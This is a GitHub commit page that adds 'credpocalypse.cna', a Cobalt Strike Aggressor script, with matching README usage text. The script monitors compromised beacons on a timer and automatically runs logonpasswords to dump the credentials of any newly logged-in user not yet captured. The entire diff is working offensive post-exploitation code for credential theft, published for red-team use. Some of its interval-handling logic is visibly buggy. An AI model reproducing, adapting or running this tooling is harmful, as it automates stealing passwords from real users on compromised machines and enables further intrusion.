Skip to content

Commit 4e6460a

Browse files
ramen0x3framen0x3f
committed
Added credpocalypse
1 parent 23fc6d3 commit 4e6460a

File tree

2 files changed

+252
-0
lines changed

2 files changed

+252
-0
lines changed

‎README.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,24 @@
11
# AggressorScripts
22

3+
## credpocalypse.cna
4+
Monitor beacons and pick off users as they log in. Set the time interval (default 5m) and Credpocalypse will watch your beacons for new users in the running processes. If they aren't in the Credentials tab already, Credpocalypse will run logonpasswords.
5+
6+
NOTE: Your beacon will only be interrupted if logonpasswords is run. There's no callback, so I can't smother the output. :-/
7+
8+
Usage:
9+
1. Aliases
10+
```
11+
begin_credpocalypse - watch current beacon
12+
end_credpocalypse [all] - stop watching current/all beacon/s
13+
credpocalypse_interval [time] - 1m, 5m (default), 10m, 30m, 60m
14+
```
15+
16+
2. Right click beacon(s) to get a pop up menu that lets you
17+
..* Add to watchlist
18+
..* Remove from watchlist
19+
..* Change time interval that Credpocalypse checks watchlist
20+
..* View the watchlist
21+
322
## save_log.cna
423
Use to export command output, so you don't have to grep beacon logs for info.
524

‎credpocalypse.cna

Lines changed: 233 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,233 @@
1+
#### Credpocalypse ####
2+
## Monitor beacons and pick off users as they log in
3+
## Author: Alyssa (ramen0x3f)
4+
## Last Updated: 2017-08-14
5+
6+
## Description: ##
7+
# Automate dumping passwords, so you don't miss new users logging in.
8+
# Set the time interval (default 5m) and Credpocalypse will watch your
9+
# beacons for new users in the running processes. If they aren't in the
10+
# Credentials tab already, Credpocalypse will run logonpasswords.
11+
12+
# NOTE: Your beacon will only be interrupted if logonpasswords is run.
13+
# There's no callback, so I can't smother the output. :-/
14+
15+
## Usage: ##
16+
# Aliases
17+
# > begin_credpocalypse - watch current beacon
18+
# > end_credpocalypse [all] - stop watching current/all beacon/s
19+
# > credpocalypse_interval [time] - 1m, 5m (default), 10m, 30m, 60m
20+
#
21+
# Right click beacon(s) to get a pop up menu that lets you
22+
# - Add to watchlist
23+
# - Remove from watchlist
24+
# - Change time interval that Credpocalypse checks watchlist
25+
# - View the watchlist
26+
27+
######################################################################
28+
29+
## Register Aliases: ##
30+
beacon_command_register("begin_credpocalypse",
31+
"Monitor beacons for new users and steal their passwords when they login",
32+
"Synopsis: begin_credpocalypse",
33+
"Adds current beacon to watchlist and routinely checks for new users. When a user is in the process list but not the Credentials tab, credpocalypse runs logonpasswords on that beacon.");
34+
beacon_command_register("end_credpocalypse",
35+
"Stop monitoring beacons for new users",
36+
"Synopsis: end_credpocalypse [all]",
37+
"If run without arguments, removes current beacon from watchlist. If 'all' is added, clears whole watchlist.");
38+
beacon_command_register("credpocalypse_interval",
39+
"Change the interval time for Credpocalypse checks",
40+
"Synopsis: credpocalypse_interval [time]",
41+
"Options: 1m, 5m (default), 10m, 30m, 60m. If no time supplied, default is used.");
42+
43+
global('@captured_creds @watchlist $interval');
44+
$interval = "5m";
45+
46+
#########
47+
# UTILS #
48+
#########
49+
sub caps {
50+
#Don't ask me how long it took to make this part work.
51+
#But uc breaks on backslashes. Also split. Really everything breaks.
52+
return join("\\", map({ return uc($1); }, split("\\\\", $1)));
53+
}
54+
55+
sub get_users {
56+
bps($1, lambda({
57+
local('$user $entry $extra $newuser');
58+
$newuser = false;
59+
60+
foreach $entry (split("\n", $2)) {
61+
($null, $null, $null, $null, $user) = split("\\s+", $entry);
62+
63+
$user = caps($user);
64+
65+
if (($user cmp "NT") == 0 || ($user in @captured_creds) || strlen($user) == 0) {
66+
continue; #ignore NT accounts
67+
}
68+
else {
69+
$newuser = true;
70+
break;
71+
}
72+
}
73+
[$callback: $1, $newuser];
74+
}, $callback => $2));
75+
}
76+
77+
sub steal_them_creds {
78+
#Log what you're doing (this output shows in Script Console)
79+
@pids = map({ return beacon_info($1, "pid"); }, @watchlist);
80+
println("Stealing creds for PIDs: " . join(", ", @pids));
81+
82+
#Update creds list
83+
clear(@captured_creds);
84+
foreach %cred (credentials()) { #Add all the options
85+
push(@captured_creds, uc(%cred['realm']) . '\\' . uc(%cred['user']));
86+
}
87+
88+
#Check each beacon for new users
89+
foreach $bid (@watchlist) {
90+
get_users($bid, {
91+
if ( $2 ) {
92+
println("New user! Running logonpasswords in " . $1);
93+
blogonpasswords($1);
94+
}
95+
else {
96+
println("No new users in " . $1);
97+
}
98+
});
99+
}
100+
}
101+
102+
####################
103+
# Menu and Aliases #
104+
####################
105+
alias begin_credpocalypse {
106+
#Add all beacons to watchlist
107+
if( $2 ) {
108+
push(@watchlist, $2);
109+
}
110+
#Add current beacon to watchlist
111+
else {
112+
push(@watchlist, $1);
113+
}
114+
}
115+
116+
alias end_credpocalypse {
117+
if ((lc($2) cmp "all") == 0) {
118+
clear(@watchlist);
119+
}
120+
else {
121+
pop(@watchlist, $1);
122+
}
123+
}
124+
125+
alias credpocalypse_interval {
126+
if ( lc($2) cmp "1m" ) {
127+
$interval = "1m";
128+
}
129+
else if ( lc($2) cmp "10m" ) {
130+
$interval = "10m";
131+
}
132+
else if ( lc($2) cmp "10m" ) {
133+
$interval = "30m";
134+
}
135+
else if ( lc($2) cmp "60m" ) {
136+
$interval = "60m";
137+
}
138+
else {
139+
$interval = "5m";
140+
}
141+
blog($1, "Updated interval to " . $interval);
142+
}
143+
144+
popup beacon_bottom {
145+
menu "Credpocalypse" {
146+
item "Begin..." {
147+
addAll(@watchlist, $1);
148+
149+
#Update the user
150+
@pids = map({ return beacon_info($1, "pid"); }, $1);
151+
show_message("Added to watchlist: " . join(", ", @pids));
152+
}
153+
154+
item "End..." {
155+
removeAll(@watchlist, $1);
156+
157+
#Update the user
158+
@pids = map({ return beacon_info($1, "pid"); }, $1);
159+
show_message("Removed from watchlist: " . join(", ", @pids));
160+
}
161+
162+
menu "Change Interval" {
163+
item "1 minute" {
164+
$interval = "1m";
165+
println("New interval: " . $interval);
166+
}
167+
168+
item "5 minutes" {
169+
$interval = "5m";
170+
println("New interval: " . $interval);
171+
}
172+
173+
item "10 minutes" {
174+
$interval = "10m";
175+
println("New interval: " . $interval);
176+
}
177+
178+
item "30 minutes" {
179+
$interval = "30m";
180+
println("New interval: " . $interval);
181+
}
182+
183+
item "1 hour" {
184+
$interval = "60m";
185+
println("New interval: " . $interval);
186+
}
187+
}
188+
189+
item "View Watchlist" {
190+
$list = "Watched Beacons:\n============";
191+
192+
foreach $bid (@watchlist) {
193+
$list .= "\n" . beacon_info($bid, "internal") . " (pid " . beacon_info($bid, "pid") . ")";
194+
}
195+
196+
#Update the user
197+
show_message($list);
198+
}
199+
}
200+
}
201+
202+
##########
203+
# EVENTS #
204+
##########
205+
on heartbeat_1m {
206+
if ( size(@watchlist) > 0 && ($interval cmp "1m") == 0) {
207+
steal_them_creds();
208+
}
209+
}
210+
211+
on heartbeat_5m {
212+
if ( size(@watchlist) > 0 && ($interval cmp "5m") == 0) {
213+
steal_them_creds();
214+
}
215+
}
216+
217+
on heartbeat_10m {
218+
if ( size(@watchlist) > 0 && ($interval cmp "10m") == 0) {
219+
steal_them_creds();
220+
}
221+
}
222+
223+
on heartbeat_30m {
224+
if ( size(@watchlist) > 0 && ($interval cmp "30m") == 0) {
225+
steal_them_creds();
226+
}
227+
}
228+
229+
on heartbeat_60m {
230+
if ( size(@watchlist) > 0 && ($interval cmp "60m") == 0) {
231+
steal_them_creds();
232+
}
233+
}

0 commit comments

Comments
 (0)